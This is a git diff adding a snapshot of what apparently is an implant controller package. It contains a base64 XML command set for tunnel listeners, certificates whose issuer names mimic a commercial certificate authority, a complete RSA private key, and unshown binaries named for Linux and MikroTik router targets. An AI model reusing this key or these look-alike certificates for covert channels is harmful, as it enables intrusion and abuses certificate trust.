+PjB4MTIwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgPC9yZXF1aXJlZF9wcmltaXRpdmVzPg0K
+ICAgICAgICA8b3B0aW9uYWxfcHJpbWl0aXZlcz48L29wdGlvbmFsX3ByaW1pdGl2ZXM+DQogICAg
+ICA8L3ByaW1pdGl2ZXM+DQogICAgICA8YXR0cmlidXRlcz4NCiAgICAgICAgICA8cmVxdWlyZWRf
+YXR0cmlidXRlcz4NCiAgICAgICAgICAgICAgPGNvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAg
+ICAgICAgICAgPG5jdXJzZWlkPnR1bl9pbml0X2F0dHJpYl8xPC9uY3Vyc2VpZD4NCiAgICAgICAg
+ICAgICAgICAgIDxuY3Vyc2VsYWJlbD5ob3N0IGZpbGU8L25jdXJzZWxhYmVsPg0KICAgICAgICAg
+ICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICAgICAgICA8dHlwZT5zdHJpbmc8
+L3R5cGU+DQogICAgICAgICAgICAgICAgICAgICAgPHNpemU+MzI8L3NpemU+DQogICAgICAgICAg
+ICAgICAgICAgICAgPGRlZmF1bHR2YWx1ZS8+DQogICAgICAgICAgICAgICAgICAgICAgPHByaW1p
+dGl2ZT4weDEyMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgICAgICAgPGFyZ251
+bWJlcj4xPC9hcmdudW1iZXI+DQogICAgICAgICAgICAgICAgICAgICAgPGhlbHB0ZXh0PlRoZSBo
+b3N0IGZpbGUgY29udGFpbnMgYWxsIHRoZSBwYXJhbWV0ZXJzIG5lY2Vzc2FyeSBmb3IgYSB0dW5u
+ZWwuICBNYW55IG9mIHRoZXNlIHBhcmFtZXRlcnMgYXJlIGRlcGVuZGVudCBvbiB0aGUgY29tbXVu
+aWNhdGlvbnMgcHJvdG9jb2wgYmVpbmcgdXNlZC48L2hlbHB0ZXh0Pg0KICAgICAgICAgICAgICAg
+ICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICAgIDwvY29tbWFuZF9hdHRyaWJ1dGU+DQogICAg
+ICAgICAgPC9yZXF1aXJlZF9hdHRyaWJ1dGVzPg0KICAgICAgICAgIDxvcHRpb25hbF9hdHRyaWJ1
+dGVzLz4NCiAgICAgICAgICA8aW52aXNpYmxlX2F0dHJpYnV0ZXMvPg0KICAgICAgPC9hdHRyaWJ1
+dGVzPg0KICAgICAgPHBhcmFtZXRlcnM+DQogICAgICAgIDxyZXF1aXJlZF9wYXJhbWV0ZXJzLz4N
+CiAgICAgICAgPG9wdGlvbmFsX3BhcmFtZXRlcnMvPg0KICAgICAgPC9wYXJhbWV0ZXJzPg0KICAg
+ICAgPG5jdXJzZXNsYXlvdXQ+DQogICAgICAgIDxzZWN0aW9uPg0KICAgICAgICAgIDxjb2x1bW4+
+DQogICAgICAgICAgICA8dGl0bGU+VHVuIEluaXQ8L3RpdGxlPg0KICAgICAgICAgICAgPGVsZW1l
+bnQ+dHVuX2luaXRfYXR0cmliXzE8L2VsZW1lbnQ+DQogICAgICAgICAgPC9jb2x1bW4+DQogICAg
+ICAgIDwvc2VjdGlvbj4NCiAgICAgIDwvbmN1cnNlc2xheW91dD4NCiAgICA8L2NtZD4NCiAgICA8
+Y21kIHRpdGxlPSJsaXN0ZW4iPg0KICAgICAgPGhlbHB0ZXh0PlRlbGxzIHRoZSB0b29sIHRvIGJl
+Z2luIGxpc3RlbmluZy48L2hlbHB0ZXh0Pg0KICAgICAgPHByaW1pdGl2ZXM+DQogICAgICAgIDxy
+ZXF1aXJlZF9wcmltaXRpdmVzPg0KICAgICAgICAgIDxwcmltaXRpdmU+MHgxMjAwMDAwNDwvcHJp
+bWl0aXZlPg0KICAgICAgICA8L3JlcXVpcmVkX3ByaW1pdGl2ZXM+DQogICAgICAgIDxvcHRpb25h
+bF9wcmltaXRpdmVzPjwvb3B0aW9uYWxfcHJpbWl0aXZlcz4NCiAgICAgIDwvcHJpbWl0aXZlcz4N
+CiAgICAgIDxhdHRyaWJ1dGVzPg0KICAgICAgICAgIDxyZXF1aXJlZF9hdHRyaWJ1dGVzPg0KICAg
+ICAgICAgICAgICA8Y29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAgICA8bmN1cnNl
+aWQ+dHVuX2xpc3Rlbl9hdHRyaWJfMTwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgICAgICA8bmN1
+cnNlbGFiZWw+aG9zdCBmaWxlPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgICAgIDxhdHRy
+aWJ1dGU+DQogICAgICAgICAgICAgICAgICAgICAgPHR5cGU+c3RyaW5nPC90eXBlPg0KICAgICAg
+ICAgICAgICAgICAgICAgIDxzaXplPjMyPC9zaXplPg0KICAgICAgICAgICAgICAgICAgICAgIDxk
+ZWZhdWx0dmFsdWUvPg0KICAgICAgICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgxMjAwMDAw
+NDwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+MTwvYXJnbnVt
+YmVyPg0KICAgICAgICAgICAgICAgICAgICAgIDxoZWxwdGV4dD5UaGUgaG9zdCBmaWxlIGNvbnRh
+aW5zIGFsbCB0aGUgcGFyYW1ldGVycyBuZWNlc3NhcnkgZm9yIHN0YXJ0aW5nIGEgbGlzdGVuZXIu
+ICBNYW55IG9mIHRoZXNlIHBhcmFtZXRlcnMgYXJlIGRlcGVuZGVudCBvbiB0aGUgY29tbXVuaWNh
+dGlvbnMgcHJvdG9jb2wgYmVpbmcgdXNlZC48L2hlbHB0ZXh0Pg0KICAgICAgICAgICAgICAgICAg
+PC9hdHRyaWJ1dGU+DQogICAgICAgICAgICAgIDwvY29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAg
+ICAgPC9yZXF1aXJlZF9hdHRyaWJ1dGVzPg0KICAgICAgICAgIDxvcHRpb25hbF9hdHRyaWJ1dGVz
+Lz4NCiAgICAgICAgICA8aW52aXNpYmxlX2F0dHJpYnV0ZXMvPg0KICAgICAgPC9hdHRyaWJ1dGVz
+Pg0KICAgICAgPHBhcmFtZXRlcnM+DQogICAgICAgIDxyZXF1aXJlZF9wYXJhbWV0ZXJzLz4NCiAg
+ICAgICAgPG9wdGlvbmFsX3BhcmFtZXRlcnMvPg0KICAgICAgPC9wYXJhbWV0ZXJzPg0KICAgICAg
+PG5jdXJzZXNsYXlvdXQ+DQogICAgICAgIDxzZWN0aW9uPg0KICAgICAgICAgIDxjb2x1bW4+DQog
+ICAgICAgICAgICA8dGl0bGU+VHVuIExpc3RlbjwvdGl0bGU+DQogICAgICAgICAgICA8ZWxlbWVu
+dD50dW5fbGlzdGVuX2F0dHJpYl8xPC9lbGVtZW50Pg0KICAgICAgICAgIDwvY29sdW1uPg0KICAg
+ICAgICA8L3NlY3Rpb24+DQogICAgICA8L25jdXJzZXNsYXlvdXQ+DQogICAgPC9jbWQ+DQogICAg
+PGNtZCB0aXRsZT0ic3RvcCI+DQogICAgICA8aGVscHRleHQ+U3RvcHMgYSBnaXZlbiBsaXN0ZW5l
+ci48L2hlbHB0ZXh0Pg0KICAgICAgPHByaW1pdGl2ZXM+DQogICAgICAgIDxyZXF1aXJlZF9wcmlt
+aXRpdmVzPg0KICAgICAgICAgIDxwcmltaXRpdmU+MHgxMjAwMDAwNTwvcHJpbWl0aXZlPg0KICAg
+ICAgICA8L3JlcXVpcmVkX3ByaW1pdGl2ZXM+DQogICAgICAgIDxvcHRpb25hbF9wcmltaXRpdmVz
+Pjwvb3B0aW9uYWxfcHJpbWl0aXZlcz4NCiAgICAgIDwvcHJpbWl0aXZlcz4NCiAgICAgIDxhdHRy
+aWJ1dGVzPg0KICAgICAgICAgIDxyZXF1aXJlZF9hdHRyaWJ1dGVzPg0KICAgICAgICAgICAgICA8
+Y29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAgICA8bmN1cnNlaWQ+dHVuX3N0b3Bf
+YXR0cmliXzE8L25jdXJzZWlkPg0KICAgICAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPmxpc3Rl
+bmVyIElEPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAg
+ICAgICAgICAgICAgICAgICAgPHR5cGU+c3RyaW5nPC90eXBlPg0KICAgICAgICAgICAgICAgICAg
+ICAgIDxzaXplPjMyPC9zaXplPg0KICAgICAgICAgICAgICAgICAgICAgIDxkZWZhdWx0dmFsdWUv
+Pg0KICAgICAgICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgxMjAwMDAwNTwvcHJpbWl0aXZl
+Pg0KICAgICAgICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+MTwvYXJnbnVtYmVyPg0KICAgICAg
+ICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICAgIDwvY29tbWFuZF9hdHRyaWJ1
+dGU+DQogICAgICAgICAgPC9yZXF1aXJlZF9hdHRyaWJ1dGVzPg0KICAgICAgICAgIDxvcHRpb25h
+bF9hdHRyaWJ1dGVzLz4NCiAgICAgICAgICA8aW52aXNpYmxlX2F0dHJpYnV0ZXMvPg0KICAgICAg
+PC9hdHRyaWJ1dGVzPg0KICAgICAgPHBhcmFtZXRlcnM+DQogICAgICAgIDxyZXF1aXJlZF9wYXJh
+bWV0ZXJzLz4NCiAgICAgICAgPG9wdGlvbmFsX3BhcmFtZXRlcnMvPg0KICAgICAgPC9wYXJhbWV0
+ZXJzPg0KICAgICAgPG5jdXJzZXNsYXlvdXQ+DQogICAgICAgIDxzZWN0aW9uPg0KICAgICAgICAg
+IDxjb2x1bW4+DQogICAgICAgICAgICA8dGl0bGU+VHVuIFN0b3A8L3RpdGxlPg0KICAgICAgICAg
+ICAgPGVsZW1lbnQ+dHVuX3N0b3BfYXR0cmliXzE8L2VsZW1lbnQ+DQogICAgICAgICAgPC9jb2x1
+bW4+DQogICAgICAgIDwvc2VjdGlvbj4NCiAgICAgIDwvbmN1cnNlc2xheW91dD4NCiAgICA8L2Nt
+ZD4NCiAgPC9jbWRncnA+DQo8L2NvbW1vbmNvbW1hbmRzZXQ+DQo=
diff --git a/snapshot_20141217-1052/ctDirectory/CCS.xml.md5 b/snapshot_20141217-1052/ctDirectory/CCS.xml.md5
new file mode 100644
index 0000000..e367998
--- /dev/null
+++ b/snapshot_20141217-1052/ctDirectory/CCS.xml.md5
@@ -0,0 +1 @@
+1dd06dd5b74ceb7cab9b599a22f99975 CCS.xml
diff --git a/snapshot_20141217-1052/ctDirectory/ca.crt b/snapshot_20141217-1052/ctDirectory/ca.crt
new file mode 100644
index 0000000..6156e37
--- /dev/null
+++ b/snapshot_20141217-1052/ctDirectory/ca.crt
@@ -0,0 +1,50 @@
+-----BEGIN CERTIFICATE-----
+MIIEHzCCAwegAwIBAgIJAOpp9rUrhzwEMA0GCSqGSIb3DQEBBQUAMHoxCzAJBgNV
+BAYTAkhVMREwDwYDVQQIDAhCdWRhcGVzdDEcMBoGA1UECgwTQ29tb2RvU2lnbiBJ
+bmMtdGVzdDEbMBkGA1UECwwSQ29tb2RvU2lnbiBDQS10ZXN0MR0wGwYDVQQDDBRD
+b21vZG9TaWduIFJvb3QtdGVzdDAeFw0xMzAxMTcwMDIwNTNaFw0zODAxMTEwMDIw
+NTNaMHoxCzAJBgNVBAYTAkhVMREwDwYDVQQIDAhCdWRhcGVzdDEcMBoGA1UECgwT
+Q29tb2RvU2lnbiBJbmMtdGVzdDEbMBkGA1UECwwSQ29tb2RvU2lnbiBDQS10ZXN0
+MR0wGwYDVQQDDBRDb21vZG9TaWduIFJvb3QtdGVzdDCCASIwDQYJKoZIhvcNAQEB
+BQADggEPADCCAQoCggEBAMEvRFqva+yW+IiQg8t5ibLr1f1trRPUHEVI/aDw0NQI
+xdLmvlNwCiT7wsjkyTja+1lyr5qI7FKSD1wfXLnacN4B1jhaYXBM2jQMRiPyKYBA
++usGfk7gamGYh8R4HAKy4vXLF1Ul3Ulc0E3R1oUmEn7zr0V16wVCrZ6ZA7GJY6ph
+IpomwzjpStqeHk/vTCk3iy1E4WQdl2QMmmSKaI/+qJfe8C6PICOPTMtJjEh61G5t
+9RxdqFGtAhd2CrfJ6Ijb7iRc/7WBHSZkALf18S1BOZPwTt7JalOOozheecThL+rm
+Xe1257o81Su/kFtJXocihFIXw8sIhlCrIiWvDYKKXnMCAwEAAaOBpzCBpDAdBgNV
+HQ4EFgQUI0aYR8BBzdM4TqJnL3gO6/QG+KEwHwYDVR0jBBgwFoAUI0aYR8BBzdM4
+TqJnL3gO6/QG+KEwEgYDVR0TAQH/BAgwBgEB/wIBATAOBgNVHQ8BAf8EBAMCAfYw
+PgYDVR0lAQH/BDQwMgYIKwYBBQUHAwMGCCsGAQUFBwMBBggrBgEFBQcDAgYIKwYB
+BQUHAwgGCCsGAQUFBwMEMA0GCSqGSIb3DQEBBQUAA4IBAQA5j/Q6ATA/7XnMcTwe
+DsSDT73mpsY6ICwPxFZasMcuoQF2wK5nHwbj4eVe+GIGWKM7Lpe10RNtOM3Vbxkd
+0Qf3iXtMVlbjK4dKXJIq9hdm82R4cHbmRoiFpc7TXuiEHRYi3+CO24PJFGVTIfnL
+h/4Y6M4lRHZJQZdFHrMt61HcKQ2R9dLiD3bWQw6Yr/+02riRdu5BpxCK1JSEkghV
+lK5YefcpGD9WbPm99w//XF/1jOXeKnzLxWkQcvp6iOoeOr/96q9EMkyeGxYnL+1N
+eflrePKlpkH5GGsWYYYABf9eI31ISUclyjrhdRjbkrEDmx0+Yd8o1M8es5QO4480
+xA0q
+-----END CERTIFICATE-----
+-----BEGIN CERTIFICATE-----
+MIIEKjCCAxKgAwIBAgICEAEwDQYJKoZIhvcNAQEFBQAwejELMAkGA1UEBhMCSFUx
+ETAPBgNVBAgMCEJ1ZGFwZXN0MRwwGgYDVQQKDBNDb21vZG9TaWduIEluYy10ZXN0
+MRswGQYDVQQLDBJDb21vZG9TaWduIENBLXRlc3QxHTAbBgNVBAMMFENvbW9kb1Np
+Z24gUm9vdC10ZXN0MB4XDTEzMDExNzAwMjA1NVoXDTIzMDExNTAwMjA1NVowgYsx
+CzAJBgNVBAYTAkhVMREwDwYDVQQIDAhCdWRhcGVzdDEcMBoGA1UECgwTQ29tb2Rv
+U2lnbiBJbmMtdGVzdDEhMB8GA1UECwwYQ29tb2RvU2lnbiBJZGVuU2lnbi10ZXN0
+MSgwJgYDVQQDDB9Db21vZG9TaWduIElkZW50aXR5IFNpZ25lci10ZXN0MIIBIjAN
+BgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEApJ2wrzc+UhMi6P+M+O26As5x83Gv
+I3OulXM+ZbIxeDv1eZH5bGiIRnw2T1VPf/FJA0dBlJVHGbk/Le6bSKRV9C/rzMlI
+Yo+LgwsQFNLvhZsGaFmxM2l+BJ+RiMqXCTPVr2JwT+BjiGeKtJMQRYbtvaDX0nHU
+SMsH4bIPnHf+WlCrZ4gWwVBeHRVoYbTnDfD+8W8aXG39MIF18VpKhFEKv6O7166a
+nVt9jRQdQ3p13+h4rHPzgHD/JcsD7vYHTaAfjq/ahh7JAbG2+8zKxL1PivJTwDVh
+LEiNmOV6gCV5YwyDLBh90rODxb53tKL9zniSoWm3c2RGIeTnSWNUiQwscQIDAQAB
+o4GnMIGkMB0GA1UdDgQWBBSBgNsHiEx6/J2ydiy6N3jDNNCdjjAfBgNVHSMEGDAW
+gBQjRphHwEHN0zhOomcveA7r9Ab4oTASBgNVHRMBAf8ECDAGAQH/AgEBMA4GA1Ud
+DwEB/wQEAwIB9jA+BgNVHSUBAf8ENDAyBggrBgEFBQcDAwYIKwYBBQUHAwEGCCsG
+AQUFBwMCBggrBgEFBQcDCAYIKwYBBQUHAwQwDQYJKoZIhvcNAQEFBQADggEBAHxG
+2eJwkUgqT4gu6NlPbL2hg4t0ej1vYqiadhpOG4E+jPP1ZOmbO/z+CeQwSTQ8L5De
+dyC8erFqHc3QEc6RiYjfsGg3SHAMMW1pFyUWZB7ZZ07PVVJmLGOTS3HzkNZ7buep
+/m8YwSvvVUHgGG1vUAOaCszem+52gjIAErE+HLoJfHsMcM5ynnqS4uSZwaYdQobv
+iYPtOMJ7K1752gtmtoaKLDufwj1dE1WaW4r1mpkeja6c8j38yppEWuuGEj79NCZ4
+KiBYEaMc9uqUofCUXJcCNvmmEhpDPOMUvdf3dAaABueCrmdNBQHxaVbyFOFb/qT2
+1h8JeVlyLnB5y0mtuEc=
+-----END CERTIFICATE-----
diff --git a/snapshot_20141217-1052/ctDirectory/cutthroat b/snapshot_20141217-1052/ctDirectory/cutthroat
new file mode 100755
index 0000000..9055d59
Binary files /dev/null and b/snapshot_20141217-1052/ctDirectory/cutthroat differ
diff --git a/snapshot_20141217-1052/ctDirectory/cutthroat.md5 b/snapshot_20141217-1052/ctDirectory/cutthroat.md5
new file mode 100644
index 0000000..7770df0
--- /dev/null
+++ b/snapshot_20141217-1052/ctDirectory/cutthroat.md5
@@ -0,0 +1 @@
+caba38dc033c86f5f9daa837dfe4c2fa cutthroat
diff --git a/snapshot_20141217-1052/ctDirectory/hive b/snapshot_20141217-1052/ctDirectory/hive
new file mode 100755
index 0000000..55183ae
Binary files /dev/null and b/snapshot_20141217-1052/ctDirectory/hive differ
diff --git a/snapshot_20141217-1052/ctDirectory/hive.md5 b/snapshot_20141217-1052/ctDirectory/hive.md5
new file mode 100644
index 0000000..66cd55b
--- /dev/null
+++ b/snapshot_20141217-1052/ctDirectory/hive.md5
@@ -0,0 +1 @@
+e7e38648e7163524bb0a727c09969ee1 hive
diff --git a/snapshot_20141217-1052/ctDirectory/server.crt b/snapshot_20141217-1052/ctDirectory/server.crt
new file mode 100644
index 0000000..37bd1e9
--- /dev/null
+++ b/snapshot_20141217-1052/ctDirectory/server.crt
@@ -0,0 +1,23 @@
+-----BEGIN CERTIFICATE-----
+MIID0jCCArqgAwIBAgICIAEwDQYJKoZIhvcNAQEFBQAwgYsxCzAJBgNVBAYTAkhV
+MREwDwYDVQQIDAhCdWRhcGVzdDEcMBoGA1UECgwTQ29tb2RvU2lnbiBJbmMtdGVz
+dDEhMB8GA1UECwwYQ29tb2RvU2lnbiBJZGVuU2lnbi10ZXN0MSgwJgYDVQQDDB9D
+b21vZG9TaWduIElkZW50aXR5IFNpZ25lci10ZXN0MB4XDTEzMDExNzAwMjEwMFoX
+DTE4MDExNjAwMjEwMFowgY0xCzAJBgNVBAYTAkhVMREwDwYDVQQIDAhCdWRhcGVz
+dDEcMBoGA1UECgwTQ29tb2RvU2lnbiBJbmMtdGVzdDEgMB4GA1UECwwXQXNzdXJh
+bmNlIFNlcnZpY2VzLXRlc3QxKzApBgNVBAMMIkNvbW9kb1NpZ24gQXNzdXJhbmNl
+IFNlcnZpY2VzLXRlc3QwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDw
+tTXRxzjyiPm+y5SJRspGOivm5RZ2LXUgq2kL1hyh3VfpYIXEZm/8X6nzwyNWgwm1
+A1vx9KqaWWfXuTxZJFdM79Uz6PXiu0EiHrfZNwMYnZLAxQqAhPw+em0dhXPUdASJ
+PaocO2guNNs3QfYNH/IJK7kQV6VkALjT3XczwbP+VyUMfp2uhwU24GAxQaxNCDKq
+lJPZyzXWeR/R9+3JiYIf4cF89NXY7a0JmshnlwDNawft9u//qr0Cnk0HrjJFvszP
+U+1xzmGrj8WiddTiejVDpJssx7FSggjtlJS6CNO+egs8BTztCMlmiXEAhb443d97
+LVgKsrgYC8fv9HaIeVdxAgMBAAGjPDA6MAkGA1UdEwQCMAAwCwYDVR0PBAQDAgXg
+MCAGA1UdJQEB/wQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjANBgkqhkiG9w0BAQUF
+AAOCAQEAJGrt1no1TocD0WPb1HgVU/FQJP2DEd2adzIEjqOP8qYnswtrLMXMSxto
+99oVStsmZvB2YTru/uQGj66fbNG6pvG1XBQNlRuq8emXiCA+CU65Mi4r/xE6G4mB
+IOh1AfilrQ7e3JY8Imo+e/AaqXpo1ZVqBHZLHwG/wzP7v+ek2SYnyyPgfRPeVYZ6
+2FhnaS0Rh1z8zT8XY5h02QyMK8biL0A3lHZC0PppQuaSabAGRQetFpSQQy0fCha3
+aiLBXrMUgOEk1KhtKD48iLIetd0DcXqP+miZvsF2y8eDKbqklqCVbP8oxrrQ+zQy
+renpAtTW+F7QUR6ldj2Y8I0VVHmffA==
+-----END CERTIFICATE-----
diff --git a/snapshot_20141217-1052/ctDirectory/server.key b/snapshot_20141217-1052/ctDirectory/server.key
new file mode 100644
index 0000000..1ed215f
--- /dev/null
+++ b/snapshot_20141217-1052/ctDirectory/server.key
@@ -0,0 +1,27 @@
+-----BEGIN RSA PRIVATE KEY-----
+MIIEpAIBAAKCAQEA8LU10cc48oj5vsuUiUbKRjor5uUWdi11IKtpC9Ycod1X6WCF
+xGZv/F+p88MjVoMJtQNb8fSqmlln17k8WSRXTO/VM+j14rtBIh632TcDGJ2SwMUK
+gIT8PnptHYVz1HQEiT2qHDtoLjTbN0H2DR/yCSu5EFelZAC40913M8Gz/lclDH6d
+rocFNuBgMUGsTQgyqpST2cs11nkf0fftyYmCH+HBfPTV2O2tCZrIZ5cAzWsH7fbv
+/6q9Ap5NB64yRb7Mz1Ptcc5hq4/FonXU4no1Q6SbLMexUoII7ZSUugjTvnoLPAU8
+7QjJZolxAIW+ON3fey1YCrK4GAvH7/R2iHlXcQIDAQABAoIBAQCJ0feiyULd+3ej
+usStZQ7j7uK8LWcS+ywZLIvU7x8tvqJbSZzNuylbgxq4K37MRfME5Yt7me8kuRQv
+/CuFjr09nASi2DwROc4tTxFNGaZ4LaCdJzTAKWSUEVzwjjyn5FXEjr4btBgOfM0X
+cnkDQss+XP51UPmtrIwnIqLhy4LXmMmj6gimTtVNbyHiMJjfaPlzg0wyt/NHfdtj
+bJZ8LJWI15a7Y9gnQTQpqc229B/ZLBHRSOXYVyKQ0ANPJ+3TtawkhqIPThkP1N3e
+2KMCOoE158TfDq+q2lSh6RtI8oZqR6uf7Rx81xY2sWMihcwksuk6F4Aah7V9i839
+FeeTYwPRAoGBAPoDL5cujSwEVAe57ebEMPgv1XQLOzFvK8dt2Y7LjfGdasOEqH6N
+IUr8SXDl+sDbrwy/8XTuFFneqND0c6YkQjQ2L2jJIGyvUh3SMHuxpL3S2OjHE+OE
+DDdvhA1M5s0pbg1pDPomZiZbHrflZNhKVYv3nEGNikGw0mZCVJ2jCb4PAoGBAPZ4
++nPKc6SOBMcIby0mzimchodGFpgKurpgvCTqXjsHtdeNvlvAGH8fbKKg2Axw0hei
+F1V0qviFnACm11gstLshn9IJsQnEOvE5NUMtFbyIuL09NUzFy8Fq3k8IZWg3rR8J
+rfoQbZ7UdYtesLGu5orudB54hSnuKRDXbqPrSRJ/AoGAP5vD5fEAFezb/EM/1fCg
+jOSOqEGbQ86HEuxN59i+OnTUjv4XaGs7xzo87S52B89c0B+drSRNpTfTN6aaLfEX
+rvUCRuS1DTHl8JRjpXTi9zDH4yGTW9Vizk/fBwtDxXr+9wZ9OL/ASY3xWNRSPf1b
+morbBIqgXGpCfaXupVSvy90CgYEAl5CLixrrBD0lKPPB0kUzsBkGDTeHe1XVv/ju
+mdDZw3kZVIVgkvFM3xeG6Xb5hKT4PPo7WRyWap9W8HuonxtWxGCH9FRrXvMhv+cL
+HtUhsb9tw0lZdm2Hv9gk/vrNyUm7lwOPzd++WVaTNfIzvAAu2y6Jj5dTZBaFgErK
+SdjNJacCgYA2UAGpqZqqQduv5KyO9pgK2bWmGfLFLO//7bGKAcC3IpQR1j5iA0nH
+ykxqgfj2vtZjJDAID7XX7TYBrdRoYJdqxUTMk+AKQJb/fHDWL++YcBiJ/ERaYOwQ
+uZunuTx20j5JKKdurUha4vrHOZxPgCAAXXeSIaKhUSy9zPTcr1u73Q==
+-----END RSA PRIVATE KEY-----
diff --git a/snapshot_20141217-1052/server_unpatchedDirectory/hived-linux-x86 b/snapshot_20141217-1052/server_unpatchedDirectory/hived-linux-x86
new file mode 100755
index 0000000..69b7e97
Binary files /dev/null and b/snapshot_20141217-1052/server_unpatchedDirectory/hived-linux-x86 differ
diff --git a/snapshot_20141217-1052/server_unpatchedDirectory/hived-linux-x86-dbg b/snapshot_20141217-1052/server_unpatchedDirectory/hived-linux-x86-dbg
new file mode 100755
index 0000000..e4a9970
Binary files /dev/null and b/snapshot_20141217-1052/server_unpatchedDirectory/hived-linux-x86-dbg differ
diff --git a/snapshot_20141217-1052/server_unpatchedDirectory/hived-linux-x86-dbg.md5 b/snapshot_20141217-1052/server_unpatchedDirectory/hived-linux-x86-dbg.md5
new file mode 100644
index 0000000..d6a8137
--- /dev/null
+++ b/snapshot_20141217-1052/server_unpatchedDirectory/hived-linux-x86-dbg.md5
@@ -0,0 +1 @@
+6b578642a5add75a0b6708ebca8cd390 ./hived-linux-x86-dbg
diff --git a/snapshot_20141217-1052/server_unpatchedDirectory/hived-linux-x86.md5 b/snapshot_20141217-1052/server_unpatchedDirectory/hived-linux-x86.md5
new file mode 100644
index 0000000..5573eab
--- /dev/null
+++ b/snapshot_20141217-1052/server_unpatchedDirectory/hived-linux-x86.md5
@@ -0,0 +1 @@
+9ebca8895b8ea1b1bd1ff70e4b478251 ./hived-linux-x86
diff --git a/snapshot_20141217-1052/server_unpatchedDirectory/hived-mikrotik-mips b/snapshot_20141217-1052/server_unpatchedDirectory/hived-mikrotik-mips
new file mode 100755
index 0000000..7c38686
Binary files /dev/null and b/snapshot_20141217-1052/server_unpatchedDirectory/hived-mikrotik-mips differ
diff --git a/snapshot_20141217-1052/server_unpatchedDirectory/hived-mikrotik-mips-dbg b/snapshot_20141217-1052/server_unpatchedDirectory/hived-mikrotik-mips-dbg
new file mode 100755
index 0000000..a829a2a
Binary files /dev/null and b/snapshot_20141217-1052/server_unpatchedDirectory/hived-mikrotik-mips-dbg differ
diff --git a/snapshot_20141217-1052/server_unpatchedDirectory/hived-mikrotik-mips-dbg.md5 b/snapshot_20141217-1052/server_unpatchedDirectory/hived-mikrotik-mips-dbg.md5
new file mode 100644
index 0000000..3473a29
--- /dev/null
+++ b/snapshot_20141217-1052/server_unpatchedDirectory/hived-mikrotik-mips-dbg.md5
@@ -0,0 +1 @@
+956f70934e20c0650e1a0e91a879fa5e ./hived-mikrotik-mips-dbg
diff --git a/snapshot_20141217-1052/server_unpatchedDirectory/hived-mikrotik-mips.md5 b/snapshot_20141217-1052/server_unpatchedDirectory/hived-mikrotik-mips.md5
new file mode 100644
index 0000000..426d3c1
--- /dev/null
+++ b/snapshot_20141217-1052/server_unpatchedDirectory/hived-mikrotik-mips.md5
@@ -0,0 +1 @@
+3dc5e79c163d1271c2d96fc2eeb6ec52 ./hived-mikrotik-mips
diff --git a/snapshot_20141217-1052/server_unpatchedDirectory/hived-mikrotik-mipsel b/snapshot_20141217-1052/server_unpatchedDirectory/hived-mikrotik-mipsel
new file mode 100755
index 0000000..4809198
Binary files /dev/null and b/snapshot_20141217-1052/server_unpatchedDirectory/hived-mikrotik-mipsel differ
diff --git a/snapshot_20141217-1052/server_unpatchedDirectory/hived-mikrotik-mipsel-dbg b/snapshot_20141217-1052/server_unpatchedDirectory/hived-mikrotik-mipsel-dbg
new file mode 100755
index 0000000..07eb182
Binary files /dev/null and b/snapshot_20141217-1052/server_unpatchedDirectory/hived-mikrotik-mipsel-dbg differ
diff --git a/snapshot_20141217-1052/server_unpatchedDirectory/hived-mikrotik-mipsel-dbg.md5 b/snapshot_20141217-1052/server_unpatchedDirectory/hived-mikrotik-mipsel-dbg.md5
new file mode 100644
index 0000000..98c5773
--- /dev/null
+++ b/snapshot_20141217-1052/server_unpatchedDirectory/hived-mikrotik-mipsel-dbg.md5
@@ -0,0 +1 @@
+6a72acfce895abc88b9884223678c270 ./hived-mikrotik-mipsel-dbg
diff --git a/snapshot_20141217-1052/server_unpatchedDirectory/hived-mikrotik-mipsel.md5 b/snapshot_20141217-1052/server_unpatchedDirectory/hived-mikrotik-mipsel.md5
new file mode 100644
index 0000000..8472604
--- /dev/null
+++ b/snapshot_20141217-1052/server_unpatchedDirectory/hived-mikrotik-mipsel.md5
@@ -0,0 +1 @@
+50252d0a46e917428ce64e29df8a63e1 ./hived-mikrotik-mipsel
diff --git a/snapshot_20141217-1052/server_unpatchedDirectory/hived-mikrotik-ppc b/snapshot_20141217-1052/server_unpatchedDirectory/hived-mikrotik-ppc
new file mode 100755
index 0000000..42c4291
Binary files /dev/null and b/snapshot_20141217-1052/server_unpatchedDirectory/hived-mikrotik-ppc differ
diff --git a/snapshot_20141217-1052/server_unpatchedDirectory/hived-mikrotik-ppc-dbg b/snapshot_20141217-1052/server_unpatchedDirectory/hived-mikrotik-ppc-dbg
new file mode 100755
index 0000000..c3a96c6
Binary files /dev/null and b/snapshot_20141217-1052/server_unpatchedDirectory/hived-mikrotik-ppc-dbg differ
diff --git a/snapshot_20141217-1052/server_unpatchedDirectory/hived-mikrotik-ppc-dbg.md5 b/snapshot_20141217-1052/server_unpatchedDirectory/hived-mikrotik-ppc-dbg.md5
new file mode 100644
index 0000000..5afff42
--- /dev/null
+++ b/snapshot_20141217-1052/server_unpatchedDirectory/hived-mikrotik-ppc-dbg.md5
@@ -0,0 +1 @@
+529e3de9d70c44dfcf293f34d4295989 ./hived-mikrotik-ppc-dbg
diff --git a/snapshot_20141217-1052/server_unpatchedDirectory/hived-mikrotik-ppc.md5 b/snapshot_20141217-1052/server_unpatchedDirectory/hived-mikrotik-ppc.md5
new file mode 100644
index 0000000..f7b883e
